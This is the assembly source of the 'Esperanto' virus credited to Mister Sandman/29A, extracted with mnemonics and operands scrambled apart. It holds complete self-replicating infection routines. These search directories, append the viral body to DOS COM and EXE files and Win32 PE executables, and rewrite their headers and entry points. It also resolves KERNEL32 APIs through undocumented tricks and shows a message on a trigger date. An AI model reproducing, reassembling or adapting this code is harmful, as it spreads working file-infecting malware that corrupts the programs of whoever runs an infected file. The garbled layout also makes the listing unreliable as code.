; Í͹ Subroutines ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; ; DLE Note: the following subroutines are used by the DOS and Windows 3.1x mo; dules, in order to perform many repeated actions such as lseeking to the ; start or the end of a file, finding RVAs, and so on. ; ÄÄ´ Lseek to the start of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; DLE Entry: ; * BX => file handle ; * File pointer somewhere in the file ; ; DLE Exit: ; * BX => file handle ; * File pointer in the start of the file lseek_start:

mov xor cwd int ret

ax,4200h cx,cx 21h

; ; ; ; ;

Lseek function, with AL, CX and DX = 0, ie, lseek to start of the file in BX And go back to code

; ÄÄ´ Lseek to the middle of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; DLE Entry: ; * BX => file handle ; * DX => seek offset ; * File pointer somewhere in the file ; ; DLE Exit: ; * BX => file handle ; * File pointer = previous DX value lseek_middle:

mov xor int ret

ax,4200h cx,cx 21h

; ; ; ;

Lseek function, the offset where to seek is specified in CX Return to our caller

; ÄÄ´ Lseek to the end of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; DLE Entry: ; * BX => file handle ; * File pointer somewhere in the file ; ; DLE Exit: ; * BX => file handle ; * File pointer in the end of the file lseek_end:

mov xor cwd int

ax,4202h cx,cx 21h

; ; ; ;

Lseek function, with AL=2 (from bottom), CX and DX equal to zero -> lseek to end

ret ; ÄÄ´ Look for ; ; DLE Entry: ; * EDX ; * DS:ESI ; * DS:EDI ; * EBP ; ; DLE Exit: ; DLE EAX search_name:

; Return to main code

the RVA of a given API by name ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

=> => => =>

Section ëelta-offset Import address table for KERNEL32.DLL Given API name to look for Buffer start address

=> RVA of the given IMD, or 0 if error push pop ; ; ; ; ;

ds es

Look for a given API (in EDI) whose RVA we are looking for by means of the structure IMAGE_IMPORT_BY_NAME, pointed by every dword in the thunk data array. First step consists on looking for its address (DS:ESI)

lodsd or jz

eax,eax inp_notfound

; Once found, we get a pointer to the first ; function name of this structure, and compare ; it with the name of the API we look for

namebyname:

push sub sub lea lodsb or jz

esi edi eax,edx eax,dword ptr ds:[thunk_offset] esi,dword ptr ds:[eax+ebp+2] al,al inputfound

scasb je

namebyname

pop jmp

edi esi search_name

; In case names match, we go and get the ; RVA of the function we've just found in ; the IAT. Otherwise we keep on searching inputfound:

pop lea add jmp ; ; ; ; db

edi esi eax,dword ptr ds:[esi-4] eax,dword ptr ds:[thunk_offset] stupid_jump

I know this jump is completely stupid and non-sense, but i felt like to write such a fool thing when writing the virus and i decided to keep it :) '29A'

; We calculate the RVA and return it in ; EAX so it may be later stored in its ; corresponding dynamic variable

stupid_jump:

sub add ret

eax,ebp eax,edx

; If we couldn't find the RVA of the API, ; then we return with EAX equal to zero inp_notfound:

; ; ; ; ; ; ; ; ; ; ; ; ; ;

xor ret

eax,eax

ÄÄ´ Check system conditions before infection ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ DLE Entry: * BX => handle of possible victim * Infection counter holding a value 0-3 * Infection timer holding a certain value DLE Good exit: * AH => 2ch DLE Exit with error: * AH => 0 * Infection counter set to 0 * Infection timer updated

system_checks:

mov int

ah,2ch 21h

cmp jb

byte ptr ds:[inf_counter],3 ; Have we already check_time ; infected 3 files?

mov jmp

byte ptr ds:[inf_counter],al ; Yes, update the set_error ; infection counter

check_time:

cmp jb

byte ptr ds:[inf_timer],cl go_for_it

; Are we still in the ; same minute?

set_error:

cbw mov ret

byte ptr ds:[inf_timer],cl

; Set AH=0 ; Update the timer ; And return

go_for_it:

; Get system time to ; do our inf.checks

; Í͹ Win32 module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

espow32_start

.386p label

first_entry: pe_entry:

push pushad

eax

; Push for later use ; Push all the stuff

call label pop mov sub

delta_offset byte ebp ebx,ebp ebp,offset delta_offset

; ; ; ; ;

dseta_byte delta_offset:

byte

; Intel 80386+ PMODE ; Define 32-bit start

Get ëelta-offset Dseta-offset marker Get return address Store it in EBX Get ëelta in EBP

; Get the base address of our host in ; EBX, by means of substracting its ; RVA, stored during the PE infection

base_address

db dd

81h,0ebh offset first_entry-base_default+dseta_offset

; ; ; ;

entry_rva

Now get the return address, ie, the original entry point of the PE file, in EAX and push it onto the stack for later use during our execution

db dd add mov

0b8h offset exit_process-base_default eax,ebx dword ptr [esp+20h],eax

; The following step consists on getting ; the RVA of GetModuleHandleA in EAX, so ; we may get the base address of KERNEL32

gmhandle_rva

db dd or jz

0b8h offset gmhandle_a-base_default eax,eax get_kernel32

push pop

dword ptr [eax+ebx] dword ptr [ebp+gmhandle_a]

; ; ; ; ; ; ;

kernel_found:

lea push lea call or jz mov ; ; ; ; ;

gpaddress_rva

gpadd_found:

If everything has gone ok, we're now about to call the GetModuleHandle API in order to know KERNEL32's address. Otherwise we had to jump to our own routine which gets this value by means of undocumented features of Windows95 (not valid for the rest of Win32!) eax,dword ptr [ebp+kernel32_n] eax eax,dword ptr [ebp+gmhandle_a] dword ptr [eax] eax,eax get_kernel32 dword ptr [ebp+kernel32_a],eax

Once we've found the base address of KERNEL32 it's necessary to use the API GetProcAddress in order to look for the addresses of the functions we need to use in our code in order to work

db dd or jz

0b8h offset gpaddress_a-base_default eax,eax get_gpaddress

push pop

dword ptr [eax+ebx] dword ptr [ebp+gpaddress_a]

; ; ; ; ; ; ;

Point to the start of the table of API names with ESI, and to the start of the table of API addresses with EDI, holding the number of needed API functions in ECX, and then call GetProcAddress so we may fill the table of API addresses with the current valid values for our APIs

cld mov lea

ecx,(offset api_names_end-offset api_names)/4 esi,dword ptr [ebp+api_names]

find_more_api:

lea

edi,dword ptr [ebp+api_addresses]

lodsd add push push lea call

eax,ebp ecx esi edi eax dword ptr [ebp+kernel32_a] eax,dword ptr [ebp+gpaddress_a] dword ptr [eax]

pop or jz

edi esi ecx eax,eax jump_to_host

cld stosd loop

find_more_api

; ÄÄ´ Payload checking routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; ; ; ;

Now it's time to check for our activation date (july 26th, when, in 1887, the first book written in Esperanto, "Internacia Lingvo", was published), so we first use the API GetLocalTime to get the date

lea push lea call

eax,dword ptr [ebp+time_table] eax eax,dword ptr [ebp+glocaltime_a] dword ptr [eax]

; Check for july cmp jne

word ptr [ebp+system_month],7 find_first

; Now check for the 26th cmp jne ; ; ; ; ;

At this point we're sure about the fact that today is our activation date, so we call the API LoadLibraryA in order to load the USER32.DLL module (for the case our host does not load it)

lea push lea call or jz ; ; ; ;

decrypt_text:

word ptr [ebp+system_day],1ah find_first

eax,dword ptr [ebp+user32_n] eax eax,dword ptr [ebp+loadlibrary_a] dword ptr [eax] eax,eax jump_to_host

Next step consists on decrypting the internal text used in the payload, which is hidden behind a stupid "not" encryption... just do it (Nike) :P

mov lea mov lodsb not

ecx,text_size esi,dword ptr [ebp+text_start] edi,esi al

stosb loop

decrypt_text

; Once this is done, it's necessary to ; call again GetProcAddress in order to ; get the address of the API MessageBoxA lea lea push call or jz ; ; ; ;

esi,dword ptr [ebp+messagebox_n] edx,dword ptr [ebp+gpaddress_a] esi eax dword ptr [edx] eax,eax jump_to_host

And now we've done almost everything in the payload... just call the API, show the text and jump to the host (no infection in Esperanto's only holiday)

push lea lea push call jmp

1000h esi,dword ptr [ebp+virus_author] edi,dword ptr [ebp+virus_text] esi edi 0 eax jump_to_host

; ÄÄ´ File searching routine (FindFirstFileA-based) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Look for first file in current directory ; by means of the API FindFirstFileA, and ; increment the infection counter byte find_first:

mov lea lea push lea call cmp je

byte ptr [ebp+inf_counter],0 eax,dword ptr [ebp+finddata] edx,dword ptr [ebp+wildcard] eax edx eax,dword ptr [ebp+findfirst_a] dword ptr [eax] eax,0ffffffffh jump_to_host

; ÄÄ´ File checking routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Save the handle of the found file and ; check for its size, just to see if it's ; a too small file to be infected

check_victim:

mov cmp jne

dword ptr [ebp+srchandle],eax dword ptr [ebp+finddata+WFD_nFileSizeHigh],0 find_next

cmp

dword ptr [ebp+finddata+WFD_nFileSizeLow],\ 0fffffc17h-espo_file_size find_next

jae ; ; ; ;

The file size is ok, now let's memory-map it and do further checks about its main characteristics, to know if it's a good file to infect with our viral code

call or jz

open_map_file ebx,ebx find_next

; ; ; ; ; ;

find_dot:

First of all, check for its extension to be COM or EXE. I used a stupid waste of bytes here, but i was kinda drunk when i did it (check for a dot instead of the end of the ASCIIZ string), so i thought it was fun not to modify it... it works :)

cld lea inc cmp je

esi,dword ptr [ebp+finddata+WFD_szFileName] byte ptr [ebp+max_path_size] byte ptr [ebp+max_path_size],0ffh unmap_n_close

lodsb cmp jne

al,'.' find_dot

; Is it a COM file? dec lodsd cmp je

esi eax,'MOC.' check32_com

; Maybe an EXE file? cmp jne

eax,'EXE.' unmap_n_close

; Seems so... first check for the MZ mark ; as the first doubleword in the header ; ÄÄ´ EXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check32_exe:

cmp jne

word ptr [ebx],'ZM' unmap_n_close

; Now check for our infection mark (";)") cmp je

word ptr [ebx+MZ_csum],');' unmap_n_close

; If file has not been infected, then ; set the winky smiley as checksum, and ; check for the number of overlays mov cmp jne

word ptr [ebx+MZ_csum],');' word ptr [ebx+MZ_ovno],0 unmap_n_close

; Don't infect PkLited EXEs cmp je

word ptr [ebx+MZ_res+2],'KP' unmap_n_close

; Now check for the Windows file mark cmp je

word ptr [ebx+MZ_lfarlc],40h check32_pe

; At this point we know it is a DOS EXE ; file... we're gonna infect it for sure

; ÄÄ´ EXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect32_exe:

mov inc call

byte ptr [ebp+file_flag],'E' byte ptr [ebp+inf_counter] unmap_close

; Only EXEs < 65535, because of the "div" ; problem referenced in the virus description ; which is found at the start of this file mov cmp jnb

eax,dword ptr [ebp+finddata+WFD_nFileSizeLow] eax,0ffffh unmap_n_close

; Remap the file with our size added push add call or jz

eax dword ptr [ebp+finddata+WFD_nFileSizeLow],\ espo_file_size open_map_file ebx,ebx no_good

; Calculate the new CS by means of first ; getting the size header in paragraphs pop push mov cdq div sub

eax eax ecx,10h ecx ax,word ptr [ebx+MZ_cparhdr]

; Update new CS and store the old one push xchg mov pop ; ; ; ;

ax word ptr [ebx+MZ_cs],ax word ptr [ebp+exe_cs],ax ax

And now update the IP pointer, which is equal to zero, that is, the start of the virus which jumps straight to the COM and EXE entry

push xchg mov pop

dx word ptr [ebx+MZ_ip],dx word ptr [ebp+exe_ip],dx dx

; Now calculate SS and SP add and

edx,espo_file_size+320h dl,0feh

; Update SS xchg mov

word ptr [ebx+MZ_ss],ax word ptr [ebp+exe_ss],ax

; Update SP

xchg mov pop

word ptr [ebx+MZ_sp],dx word ptr [ebp+exe_sp],dx eax

; Calculate the new number of bytes in last ; page and of pages in EXE file, and update ; the corresponding pointers in the MZ header add mov cdq div inc mov mov ; ; ; ; ;

eax,espo_file_size ecx,200h ecx eax word ptr [ebx+MZ_cblp],dx word ptr [ebx+MZ_cp],ax

And finally append our code to the end of the EXE file we've just infected. The MZ header will be overwritten to the old one as soon as the file is unmapped, no need to lseek to the start and write it

cld mov lea mov sub add rep jmp

ecx,espo_file_size esi,dword ptr [ebp+espo_start] edi,dword ptr [ebp+finddata+WFD_nFileSizeLow] edi,ecx edi,ebx movsb unmap_n_close

; Check if the COM file has been previously ; infected by Esperanto (winky ";)" smiley) ; ÄÄ´ COM files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check32_com:

cmp je

word ptr [ebx+3],');' unmap_n_close

; If not, set the file flag, increment the ; infection counter and memory map the file ; with our size previously added ; ÄÄ´ COM files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ infect32_com:

mov inc call add call or jz

byte ptr [ebp+file_flag],'C' byte ptr [ebp+inf_counter] unmap_close dword ptr [ebp+finddata+WFD_nFileSizeLow],\ espo_file_size open_map_file ebx,ebx no_good

; Store old COM header in our buffer cld mov push mov lea rep

ecx,5 ecx esi,ebx edi,dword ptr [ebp+old_com_header] movsb

; ; ; ; ;

Calculate the jump to the COM and EXE entry point of the virus (once appended) and store it in the buffer of the new COM header ("0e9h,?,?,;)"). Then copy it to the first five bytes of the file

pop lea mov mov sub push sub mov rep

ecx esi,dword ptr [ebp+new_com_header] edi,ebx eax,dword ptr [ebp+finddata+WFD_nFileSizeLow] eax,espo_file_size eax eax,3 word ptr [esi+1],ax movsb

; And finally append the viral code to ; the end of the COM file, unmap it and ; go look for more files to infect mov lea pop add rep jmp

ecx,espo_file_size esi,dword ptr [ebp+espo_start] edi edi,ebx movsb unmap_n_close

; Check if the new EXE file is a PE, by ; first comparing the starting doubleword ; of the new header with "PE" ; ÄÄ´ PE files check routine (I) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ check32_pe:

mov add lodsd

esi,dword ptr [ebx+MZ_lfanew] esi,ebx

cmp jne

eax,'EP' unmap_n_close

; If this is ok, now check if the file is ; executable and if it is not a DLL mov test jz

ax,word ptr [esi+FH_Characteristics] ax,IMAGE_FILE_EXECUTABLE_IMAGE unmap_n_close

test jnz

ax,IMAGE_FILE_DLL unmap_n_close

; Get number of sections of the PE file ; and then point the first section with EDI

s_img_section:

movzx movzx add add

ecx,word ptr [esi+FH_NumberOfSections] edi,word ptr [esi+FH_SizeOfOptionalHeader] esi,IMAGE_SIZEOF_FILE_HEADER edi,esi

mov

eax,dword ptr [esi+OH_DataDirectory\ .DE_Import\ .DD_VirtualAddress] edx,dword ptr [edi+SH_VirtualAddress] eax,edx

mov sub

; ; ; ; ;

Now we're looking for the section in which the import table is found. This is usually the .idata section, but we make sure by means of checking if the address of the imports directory is inside this section

cmp jb

eax,dword ptr [edi+SH_VirtualSize] section_ok

; In case it's not, we point to the header ; of the next section with EDI, and keep on ; doing the same until we find it add loop jmp

edi,IMAGE_SIZEOF_SECTION_HEADER s_img_section unmap_n_close

; Now get a pointer to the first import ; module descriptor in EAX so we may ; look for KERNEL32.DLL thru this array section_ok:

add sub add

eax,dword ptr [edi+SH_PointerToRawData] edx,eax eax,ebx

; Get the RVA of the Import Module ; Descriptor in ESI and later check ; if it actually exists or not (=0) next_imd_img:

mov lea or jz

esi,dword ptr [eax+ID_Name] edi,dword ptr [ebp+offset kernel32_n] esi,esi unmap_n_close

; Now get the address of the name of ; the IMD and check if it's the one ; we're looking for (KERNEL32.DLL) push mov sub add ; ; ; ; dll_loop:

check_char:

Get a character from ESI, check its case, convert it if necessary to uppercase and then compare the strings pointed by ESI and EDI, to see if we find KERNEL32.DLL

lodsb cmp jb sub scasb jne loop ; ; ; ; ;

eax ecx,8 esi,edx esi,ebx

al,'a' check_char al,('a'-'A') more_imd_img dll_loop

Save the ID_ForwarderChain pointer in the dynamic variable which corresponds to the KERNEL32.DLL RVA, as we will need it to find the base address of this module if the calling process to GetModuleHandleA

; was not successful (this is undocumented) pop lea sub add mov ; ; ; ; ;

edi eax,dword ptr [edi+ID_ForwarderChain] eax,ebx eax,edx dword ptr [ebp+kernel32_rva],eax

Get the time/date stamp of KERNEL32.DLL into EAX in order to compare it with the corresponding stamp of the file we're about to infect, as we don't want to hit any binded executable PE file

mov mov add add lodsd

eax,dword ptr [ebp+kernel32_a] esi,dword ptr [eax+IMAGE_DOS_HEADER.MZ_lfanew] esi,eax esi,NT_FileHeader.FH_TimeDateStamp

; Determine if file is binded. If not, jump ; and go find the RVA of the APIs needed in ; the working process of Esperanto mov sub add cmp jne

esi,dword ptr [edi+ID_FirstThunk] esi,edx esi,ebx eax,dword ptr [edi+ID_TimeDateStamp] find_rvas

; ÄÄ´ File searching routine (FindNextFileA-based) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Memory unmap file handled in EBX, check ; the infection counter and, if everything ; is ok, look for more files to infect unmap_n_close: find_next:

call cmp je

unmap_close byte ptr [ebp+inf_counter],3 jump_to_host

lea push push lea call or jnz

eax,dword ptr [ebp+finddata] eax dword ptr [ebp+srchandle] eax,dword ptr [ebp+findnext_a] dword ptr [eax] eax,eax check_victim

; Nothing else to do, close the search ; handle and jump to the original entry ; point of the code of our host

jump_to_host:

push lea call popad ret

dword ptr [ebp+srchandle] eax,dword ptr [ebp+findclose_a] dword ptr [eax]

; ÄÄ´ PE files check routine (II) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Go to next imported module descriptor more_imd_img:

pop

eax

add jmp ; ; ; ; find_rvas:

Now let's go for GetModuleHandleA. We need the RVA of this API because it is necessary to call it in order to know the base address of KERNEL32.DLL

push lea call mov ; ; ; ;

eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR next_imd_img

esi edi,dword ptr [ebp+gmhandle_n] look4name dword ptr [ebp+gmhandle_rva],eax

Our next and last objective is the API GetProcAddress, which helps us in order to find the address of any API we look for of a given module or library

pop lea call mov

esi edi,dword ptr [ebp+gpaddress_n] look4name dword ptr [ebp+gpaddress_rva],eax

; ÄÄ´ PE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; Increment infection counter and remap our ; victim in memory with the virus size added infect32_pe:

inc call add call or jz cld mov add lodsd ; ; ; ;

byte ptr [ebp+inf_counter] unmap_close dword ptr [ebp+finddata+WFD_nFileSizeLow],\ espo_file_size open_map_file ebx,ebx no_good

esi,dword ptr [ebx+MZ_lfanew] esi,ebx

Get the RVA of the last section header in EDI. Here's where we're going to copy our code, so no new sections are needed and we're not so easily discovered in a file

mov movzx dec mul

eax,IMAGE_SIZEOF_SECTION_HEADER ecx,word ptr [esi+FH_NumberOfSections] ecx ecx

movzx add add add mov

edx,word ptr [esi+FH_SizeOfOptionalHeader] eax,edx esi,IMAGE_SIZEOF_FILE_HEADER eax,esi edi,eax

; Now get the old entry point and store its ; RVA in a dynamic variable of our code we ; will use in order to jump back to our host push pop

dword ptr [esi+OH_AddressOfEntryPoint] dword ptr [ebp+entry_rva]

; Get original file size and store it for ; later use during the PE infection process mov sub push

eax,dword ptr [ebp+finddata+WFD_nFileSizeLow] eax,espo_file_size eax

; Calculate new entry point by means of the ; original file size and our memory size, and ; save it as the new AddressOfEntryPoint sub add add mov

eax,dword ptr [edi+SH_PointerToRawData] eax,dword ptr [edi+SH_VirtualAddress] eax,offset espow32_start dword ptr [esi+OH_AddressOfEntryPoint],eax

; And store the RVA of the base address, not ; forgetting to add the dseta offset to it add mov

eax,dseta_offset dword ptr [ebp+base_address],eax

; Get new size of VirtualSize

virtsize_ok:

mov sub push

eax,dword ptr [ebp+finddata.WFD_nFileSizeLow] eax,dword ptr [edi+SH_PointerToRawData] eax

add cmp jbe

eax,(espo_mem_size-espo_file_size) eax,dword ptr [edi+SH_VirtualSize] virtsize_ok

mov pop

dword ptr [edi+SH_VirtualSize],eax eax

; And now the new size of SizeOfRawData add mov cdq div inc mul mov

eax,(espo_mem_size-espo_file_size) ecx,dword ptr [esi+OH_FileAlignment] ecx eax ecx dword ptr [edi+SH_SizeOfRawData],eax

; Set section characteristics to execute, read ; and write access, so Esperanto will not find ; any problem when performing its functioning or

dword ptr [edi+SH_Characteristics],\ IMAGE_SCN_MEM_EXECUTE or\ IMAGE_SCN_MEM_READ or\ IMAGE_SCN_MEM_WRITE

; Update the SizeOfImage pointer mov add mov cdq div inc

eax,dword ptr [esi+OH_SizeOfImage] eax,espo_file_size ecx,dword ptr [esi+OH_FileAlignment] ecx eax

mul mov

ecx dword ptr [esi+OH_SizeOfImage],eax

; And finally append the virus body to the ; the end of the PE file we've just infected, ; unmap it and go look for more victims

no_good:

mov lea pop add rep jmp

ecx,espo_file_size esi,dword ptr [ebp+espo_start] edi edi,ebx movsb unmap_n_close

; Í͹ Subroutines ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ ; ; DLE Note: the following subroutines are used by the Win32 module in order to ; perform many repeated actions, such as mapping or unmapping a file, fin; ding RVAs or the base address of a given module or API, and so on. ; ÄÄ´ Undocumented way to find the address of K32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; DLE Entry: ; * EBX => base address of host ; * Necessity to find KERNEL32.DLL ; ; DLE Exit: ; * EAX => base address of KERNEL32.DLL ; * EBX => base address of host ; ; ; ; ; get_kernel32: kernel32_rva

Try to get the base address of KERNEL32 by means of ID_ForwarderChain. This is an undocumented feature which only works in Windows95. First load the RVA in ESI and then add the base address to it

db dd add lodsd

0beh ? esi,ebx

; Now check for the MZ signature cmp jne ; ; ; ;

k32_not_found:

word ptr [eax],'ZM' k32_not_found

And finally, for the PE one. If it was found, then the undocumented feature has worked. Otherwise the control will be passed to our host, as we can't execute

mov cmp je popad ret

esi,dword ptr [eax+MZ_lfanew] dword ptr [esi+eax],'EP' kernel_found

; ÄÄ´ Undocumented way to find the address of GetProcAddress ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; DLE Entry: ; * EBX => base address of host ; * kernel32_a => base address of KERNEL32.DLL ; * Necessity to find GetProcAddress

; ; DLE Exit: ; * EAX ; * EBX

=> address of GetProcAddress => base address of host ; ; ; ; ; ; ; ;

get_gpaddress:

This undocumented way to get the address of the API GetProcAddress is based on looking for its name and later for its ordinal thru the array of APIs exported by the module KERNEL32.DLL. Thus, the first step consists on seeking to the base address of this library and making sure this is the right address

cld push mov cmp jne

ebx ebx,dword ptr [ebp+kernel32_a] word ptr [ebx],'ZM' gpa_aborted

; Once we know it has a MZ header, let's ; check for the PE mark, pointed by [3ch] mov add lodsd

esi,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew] esi,ebx

cmp jne

eax,'EP' gpa_aborted

; Everything ok, now let's get a pointer ; to the image export directory and push ; it onto the stack for later use add

lodsd add push

esi,NT_OptionalHeader\ .OH_DirectoryEntries\ .DE_Export\ .DD_VirtualAddress-4 eax,ebx eax

; Get also a pointer to the table of the ; names of exported functions and to their ; corresponding ordinals or addresses mov mov add lea lodsd add

ecx,dword ptr [eax+ED_NumberOfNames] edx,dword ptr [eax+ED_AddressOfNameOrdinals] edx,ebx esi,dword ptr [eax+ED_AddressOfNames] eax,ebx

; Now look for "GetProcAddress" thru the ; array of names of exported API functions search_name:

push lea mov or jz

ecx esi,dword ptr [ebp+gpaddress_n] edi,dword ptr [eax] edi,edi next_name

; Compare the strings

mov add repe je

ecx,0eh edi,ebx cmpsb name_found

; Not found, go to next name next_name:

add add pop loop

eax,4 edx,2 ecx search_name

; In case it was not found, jump to the ; error routine and stop the functioning pop jmp ; ; ; ; ; name_found:

eax gpa_aborted

The "GetProcAddress" string was found, and EDX is the index of the function, so now we have to look for the ordinal using the mentioned index in EDX, and check if it is out of range

pop movzx cmp jae

ecx edi eax,word ptr [edx] eax,dword ptr [edi+ED_NumberOfFunctions] gpa_aborted

; This is the starting ordinal number sub inc shl

eax,dword ptr [edi+ED_BaseOrdinal] eax eax,2

; Finally, get address of function and jump ; back to the main routine, in order to look ; for the addresses of other needed APIs mov add add lodsd add pop jmp

esi,dword ptr [edi+ED_AddressOfFunctions] esi,eax esi,ebx eax,ebx ebx gpadd_found

; In case there was an error, stop running ; and jump to the original entry point gpa_aborted:

pop popad ret

ebx

; ÄÄ´ Map a file in memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; DLE Entry: ; * WFD_szFileName => file to memory-map ; ; DLE Exit: ; * EBX => handle of memory-mapped file

; Open existing file open_map_file:

push push push push push push lea push lea call or jz

0 FILE_ATTRIBUTE_NORMAL OPEN_EXISTING 0 0 GENERIC_READ or GENERIC_WRITE eax,dword ptr [ebp+finddata+WFD_szFileName] eax eax,dword ptr [ebp+createfile_a] dword ptr [eax] eax,eax exit_mapping

; Create file-mapping for it mov push push push push push push lea call or jz

dword ptr [ebp+crfhandle],eax 0 dword ptr [ebp+finddata+WFD_nFileSizeLow] 0 PAGE_READWRITE 0 dword ptr [ebp+crfhandle] eax,dword ptr [ebp+cfmapping_a] dword ptr [eax] eax,eax close_handle

; Map file in memory, get base address mov push push push push push lea call xchg or jz ret

dword ptr [ebp+maphandle],eax dword ptr [ebp+finddata+WFD_nFileSizeLow] 0 0 FILE_MAP_WRITE dword ptr [ebp+maphandle] eax,dword ptr [ebp+mapview_a] dword ptr [eax] ebx,eax ebx,ebx close_mapping

; ÄÄ´ Unmap a file in memory ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; DLE Entry: ; * EBX => handle of memory-mapped file ; ; DLE Exit: ; * EBX => null, file unmapped ; Unmap view of file unmap_close:

xchg push lea call

ebx,eax eax eax,dword ptr [ebp+unmapview_a] dword ptr [eax]

; Close handle created by CreateFileMappingA close_mapping:

push lea

dword ptr [ebp+maphandle] eax,dword ptr [ebp+closehandle_a]

call

dword ptr [eax]

; Close handle created by CreateFileA close_handle:

push lea call

dword ptr [ebp+crfhandle] eax,dword ptr [ebp+closehandle_a] dword ptr [eax]

; And leave with EBX = 0 exit_mapping:

xor ret

ebx,ebx

; ÄÄ´ Look for the RVA of a given API by name ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; DLE Entry: ; * EDX => Section ëelta-offset ; * ESI => Import address table for KERNEL32.DLL ; * EDI => Given API name to look for ; ; DLE Exit: ; DLE EAX => RVA of the given API, or 0 if error ; ; ; ; ; look4name:

Look for a given API (in EDI) whose RVA we are looking for by means of the structure IMAGE_IMPORT_BY_NAME, pointed by every dword in the thunk data array. First step consists on looking for its address (in ESI)

lodsd or jz

eax,eax inp_not_found

; Once found, we get a pointer to the first ; function name of this structure, and compare ; it with the name of the API we look for

name_by_name:

push sub lea lodsb or jz

esi edi eax,edx esi,dword ptr [eax+ebx+2] al,al input_found

scasb je

name_by_name

pop jmp

edi esi look4name

; In case names match, we go and get the ; RVA of the function we've just found in ; the IAT. Otherwise we keep on searching input_found:

pop lea sub add ret

edi esi eax,dword ptr [esi-4] eax,ebx eax,edx

; If we couldn't find the RVA of the API, ; then we return with EAX equal to zero

inp_not_found:

xor ret

eax,eax

; Í͹ Data area for the Intel modules ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ text_start label byte virus_author db '[Esperanto, by Mister Sandman/29A]',0 virus_text db 'Never mind your culture / Ne gravas via kulturo,',0dh,0ah db 'Esperanto will go beyond it / Esperanto preterpasos gxin;',0dh,0ah db 'never mind the differences / ne gravas la diferencoj,',0dh,0ah db 'Esperanto will overcome them / Esperanto superos ilin.',0dh,0ah db 0dh,0ah db 'Never mind your processor / Ne gravas via procesoro,',0dh,0ah db 'Esperanto will work in it / Esperanto funkcios sub gxi;',0dh,0ah db 'never mind your platform / Ne gravas via platformo,',0dh,0ah db 'Esperanto will infect it / Esperanto infektos gxin.',0dh,0ah db 0dh,0ah db 'Now not only a human language, but also a virus...',0dh,0ah db 'Turning impossible into possible, Esperanto.',0dh,0ah,0 text_end label byte api_names

api_names_end

label dd dd dd dd dd dd dd dd dd dd label

byte offset offset offset offset offset offset offset offset offset offset byte

